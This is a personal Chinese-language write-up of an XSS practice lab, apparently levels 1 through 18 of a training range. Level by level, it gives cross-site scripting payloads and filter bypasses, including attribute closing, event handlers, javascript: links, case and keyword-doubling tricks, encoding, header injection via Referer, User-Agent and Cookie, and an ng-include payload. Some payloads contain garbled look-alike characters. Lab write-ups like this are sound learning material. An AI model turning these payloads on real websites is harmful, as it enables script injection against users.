目录
Level1:
通过修改name=xx,我们发现,欢迎用户test的test随着xx的值改变
输入:
name=<script>alert(1)</script>
Level2:
直接输入上一关payload,<script>alert(1)</script>
查看源代码
我们需要将value=""闭合,所以我们输入"><script>alert(1)</script>
Level3:
直接输入上一关payload,"><script>alert(1)</script>
查看源代码
与上题不同的是,这次是'不是",而且<>被转换成了>,<,所以不考虑有<>的payload
输入:'οninput=alert(1)
查看源代码,发现后面的'没有闭合
输入:'οninput='alert(1),再在框内输入任意字符
Level4:
直接输入上一关payload,'οninput='alert(1)
查看源代码,有",需要给他闭合掉
所以我们输入:">οninput="alert(1),再输入任意字符
Level5:
直接输入上一关payload,">οninput="alert(1)
查看源代码
on变成了o_n,应该是字符串被转译了,那就再试试"><script>alert(1)</script>
还是这样,是不是说明这一类的payload的第三个字符都会转译加一个_,那我们试试超链接方式
输入:"><a href="Javascript:alert(1)">q</a>,点击q
Level6:
直接输入上一关payload,"><a href="Javascript:alert(1)">q</a>
查看源码
咦,这次轮到超链接这样啦? 是的,在上题的基础上超链接也这样了,那得想想别的办法,我们把href的f大写怎么样?
输入:"><a hRef="Javascript:alert(1)">q</a>,点击q
Level7:
直接输入上一关payload,"><a hRef="Javascript:alert(1)">q</a>
查看源代码,script好像被过滤掉了
这不禁让我想起sqli靶场的一题,过滤掉了or和and,当时这题我们好像是or用的oorr,and用的aandnd
那这里我们输入:"><a hRef="Javasriscriptpt:alert(1)">q</a>
好像还是不行,那我们看看源码,超链接下面有条红线诶,这题是不是不能用超链接
那我们输入"><scriscriptpt>alert(1)</scriscriptpt>
Level8:
根据题意,这题好像是输入连接跳转,那我们输入:javascript:alert(1)
查看源代码后,发现r被转译了,那我们用大写R,查看源代码后发现还是不行
随后我尝试使用url编码,将r用72%替换掉,发现仍然不行,那试试其他编码吧,我们试试html编码
输入:javascript:alert(1)
Level9:
也是链接题,输入:javascript:alert(1)浅试一下
好家伙,直接给我整不合法
这题我想过将您的链接不合法这句话给注释掉再输入我们自己的内容,但是看了其他人的wirteup,才明白输入的代码中必须含有http://才不会被提示“链接不合法”。
输入:javascript:alert(1)//http://,查看源代码发现其他地方跟上题一样
输入:javascript:alert(1)//http://
Level10
这题都没有看到输入框,那我们直接看源码,发现了三个被隐藏的值
输入:?t_link=1&&t_history=1&&t_sort=1,发现只有t_sort的值有变化,那这个就是我们的突破口
这里我们使用事件按钮,输入:?t_sort=οninput=alert(1) type=text
还是没过关,我们继续查看源代码,发现还有地方没有闭合
输入:?t_sort=" οninput=alert(1) type="text
Level11:
这题和上一关挺像,我们查看源码发现有四个隐藏值
那就输入:?t_link=1&&t_history=1&&t_sort=1&&t_ref=1并查看源码,
t_sort有值而且t_ref有超链接
那我先输入上一关的payload,?t_sort=" οninput=alert(1) type="text并查看源码
原来"被转译了
尝试多种办法后,打算看看php源码
发现了一个有意思的东西,referer?那我们的尝试抓一抓包
好了,那我们试试修改referer
根据响应里面的内容修改payload,最后为" οninput=alert(1) type="text
右键响应处选择“在浏览器中显示响应”,在框内输入任意字符串
Level12:
查看源码
输入:?t_link=1&&t_history=1&&t_sort=1&&t_ua=1
判别出t_sort变量可以修改
有过做sqli-labs经验后,看着t_ua的value值,就看得出这次是要修改user-agent值,所以我们直接抓包
并根据响应里面的内容修改payload,最后得出payload为" οninput=alert(1) type="text
继续操作同Level12
Level13:
此题原理同上两题,为修改cookie
就不再过多阐述
level14图片显示出了问题
这里跳过下一题
Level15
查看源码,发现有一个ng-include
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
所以他可以包含网站目录下面的文件,他调用了第一关的代码
继续查看level15.php源码,源码中定义了可以通过src作为参数GET传输
继续查看level1.php源码,源码中定义了可以通过name作为参数GET传输
结合起来我们可以构造payload:src='level1.php?name=<img src=x οnerrοr=alert(1)>'
Level16
输入:<a href="Javascript:alert(/xss/)">q</a>
查看源码 ,可以发现script,/和空格都被转译成了
所以我们换一个没有script和/的payload,至于空格绕过的话
经过测试,可以使用回车的url编码可以绕过
那我们构造payload:<img%0asrc='1'%02aοnmοuseοver='alert(1)'>
然后我这里居然还是没有通过,尝试了其他很多payload后,我发现我的网址里面显示的不是%0a而是%052a,他给我的%也编码了一次,这老6......
那我们手动将25删掉再试试,果然出现了一个小按钮,那我们把鼠标悬停在那个地方就可以通过啦!
Level17:
学到了一个非常牛的方法,能查看参数回显位置还能查看是否有被转译和过滤
输入:<script>alert(/oninput+onclick+onmouseover+src+href/)</script>
好家伙,算了算了,qq浏览器好像不太像,火狐这里是可以的
那输入这个试试<script>alert(/xss/)</script>,可以发现<>和/一个被转译一个被过滤了,那直接用事件触发测试代码吧
输入:οnmοuseοver=alert(1),别问为什么不用oninput和onclick,因为注入点在的embed标签,点击和文本框不知道为啥都不显示,只有悬停事件管用
Level18:
此题同上
~最后两题做不出了,说是需要哪个东西来给xsf做反编译,懒得搞了,到此我就先结束啦!
完结撒花!~